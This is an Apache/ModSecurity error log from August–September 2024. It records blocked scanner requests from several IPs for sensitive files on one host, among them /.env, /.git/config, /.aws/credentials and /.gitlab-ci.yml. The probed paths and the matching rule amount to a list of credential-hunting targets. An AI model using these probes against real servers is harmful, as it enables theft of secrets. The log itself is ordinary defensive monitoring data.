[Sun Aug 11 16:46:27.858772 2024] [:error] [pid 1096821] [client 83.147.52.49:50984] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrjOw6DBjT3wTTtsv8ZIigAAAAs&quot;]
[Sun Aug 11 16:46:27.858951 2024] [:error] [pid 1096821] [client 83.147.52.49:50984] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZrjOw6DBjT3wTTtsv8ZIigAAAAs&quot;]
[Sun Aug 11 16:46:27.862600 2024] [:error] [pid 1096123] [client 83.147.52.49:51000] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ZrjOwzVDwua2QAlUOKTHKQAAAAY&quot;]
[Sun Aug 11 16:46:27.862770 2024] [:error] [pid 1096123] [client 83.147.52.49:51000] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ZrjOwzVDwua2QAlUOKTHKQAAAAY&quot;]
[Sun Aug 11 16:46:27.862924 2024] [:error] [pid 1096123] [client 83.147.52.49:51000] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;ZrjOwzVDwua2QAlUOKTHKQAAAAY&quot;]
[Sun Aug 11 16:46:27.872247 2024] [:error] [pid 1096832] [client 83.147.52.49:51024] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZrjOw6OYJ5TK5ybVktmoDgAAAAQ&quot;]
[Sun Aug 11 16:46:27.872393 2024] [:error] [pid 1096832] [client 83.147.52.49:51024] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZrjOw6OYJ5TK5ybVktmoDgAAAAQ&quot;]
[Sun Aug 11 16:46:27.872537 2024] [:error] [pid 1096832] [client 83.147.52.49:51024] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZrjOw6OYJ5TK5ybVktmoDgAAAAQ&quot;]
[Sun Aug 11 16:46:27.966482 2024] [:error] [pid 1095404] [client 83.147.52.49:51016] [client 83.147.52.49] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZrjOw_W2jbWtubDNbG1heAAAAAA&quot;]
[Sun Aug 11 16:46:27.966695 2024] [:error] [pid 1095404] [client 83.147.52.49:51016] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZrjOw_W2jbWtubDNbG1heAAAAAA&quot;]
[Sun Aug 11 16:46:27.966869 2024] [:error] [pid 1095404] [client 83.147.52.49:51016] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZrjOw_W2jbWtubDNbG1heAAAAAA&quot;]
[Tue Aug 20 11:19:24.364118 2024] [:error] [pid 1322098] [client 45.148.10.142:58238] [client 45.148.10.142] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZsRfnLfFEDrKhcp2X3hLmAAAAAo&quot;]
[Tue Aug 20 11:19:24.366064 2024] [:error] [pid 1322098] [client 45.148.10.142:58238] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZsRfnLfFEDrKhcp2X3hLmAAAAAo&quot;]
[Tue Aug 20 11:19:24.366239 2024] [:error] [pid 1322098] [client 45.148.10.142:58238] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZsRfnLfFEDrKhcp2X3hLmAAAAAo&quot;]
[Sun Aug 25 05:18:27.353851 2024] [:error] [pid 1441359] [client 45.148.10.142:58730] [client 45.148.10.142] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zsqig56ldaQBUd6B7XURwwAAAAU&quot;]
[Sun Aug 25 05:18:27.355017 2024] [:error] [pid 1441359] [client 45.148.10.142:58730] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zsqig56ldaQBUd6B7XURwwAAAAU&quot;]
[Sun Aug 25 05:18:27.355198 2024] [:error] [pid 1441359] [client 45.148.10.142:58730] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zsqig56ldaQBUd6B7XURwwAAAAU&quot;]
[Sat Aug 31 21:03:33.817341 2024] [authz_core:error] [pid 1595161] [client 64.225.75.246:56932] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sat Aug 31 21:03:34.788030 2024] [:error] [pid 1595135] [client 64.225.75.246:56958] [client 64.225.75.246] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZtNpBkNsH6Ul5QWR8qVDGwAAAAM&quot;]
[Sat Aug 31 21:03:34.788256 2024] [:error] [pid 1595135] [client 64.225.75.246:56958] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZtNpBkNsH6Ul5QWR8qVDGwAAAAM&quot;]
[Sat Aug 31 21:03:34.788460 2024] [:error] [pid 1595135] [client 64.225.75.246:56958] [client 64.225.75.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;ZtNpBkNsH6Ul5QWR8qVDGwAAAAM&quot;]
[Sat Aug 31 21:03:34.881674 2024] [:error] [pid 1595162] [client 64.225.75.246:56964] [client 64.225.75.246] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtNpBimykplp8bI5SmVrUAAAAAQ&quot;]
[Sat Aug 31 21:03:34.881934 2024] [:error] [pid 1595162] [client 64.225.75.246:56964] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtNpBimykplp8bI5SmVrUAAAAAQ&quot;]
[Sat Aug 31 21:03:34.882139 2024] [:error] [pid 1595162] [client 64.225.75.246:56964] [client 64.225.75.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtNpBimykplp8bI5SmVrUAAAAAQ&quot;]
[Sat Aug 31 21:03:34.987250 2024] [:error] [pid 1595133] [client 64.225.75.246:56966] [client 64.225.75.246] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtNpBtgfc3RepCeUzd1y6wAAAAo&quot;]
[Sat Aug 31 21:03:34.987473 2024] [:error] [pid 1595133] [client 64.225.75.246:56966] [client 64.225.75.246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtNpBtgfc3RepCeUzd1y6wAAAAo&quot;]
[Sat Aug 31 21:03:34.987650 2024] [:error] [pid 1595133] [client 64.225.75.246:56966] [client 64.225.75.246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtNpBtgfc3RepCeUzd1y6wAAAAo&quot;]
[Mon Sep 02 05:20:11.567719 2024] [:error] [pid 1622514] [client 195.178.110.35:44536] [client 195.178.110.35] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtUu61PEwbU3AgrFpXLh3AAAAAQ&quot;]
[Mon Sep 02 05:20:11.567961 2024] [:error] [pid 1622514] [client 195.178.110.35:44536] [client 195.178.110.35] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtUu61PEwbU3AgrFpXLh3AAAAAQ&quot;]
[Mon Sep 02 05:20:11.568136 2024] [:error] [pid 1622514] [client 195.178.110.35:44536] [client 195.178.110.35] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZtUu61PEwbU3AgrFpXLh3AAAAAQ&quot;]
[Mon Sep 02 07:03:06.348965 2024] [:error] [pid 1622516] [client 179.43.149.114:57154] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtVHCu6vGFRXcjrrrpT-vgAAAAU&quot;]
[Mon Sep 02 07:03:06.349225 2024] [:error] [pid 1622516] [client 179.43.149.114:57154] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtVHCu6vGFRXcjrrrpT-vgAAAAU&quot;]
[Mon Sep 02 07:03:06.349389 2024] [:error] [pid 1622516] [client 179.43.149.114:57154] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZtVHCu6vGFRXcjrrrpT-vgAAAAU&quot;]
[Mon Sep 02 07:03:06.392746 2024] [:error] [pid 1622511] [client 179.43.149.114:57166] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;ZtVHCh9Opdfq8zuVfMZmowAAAAE&quot;]
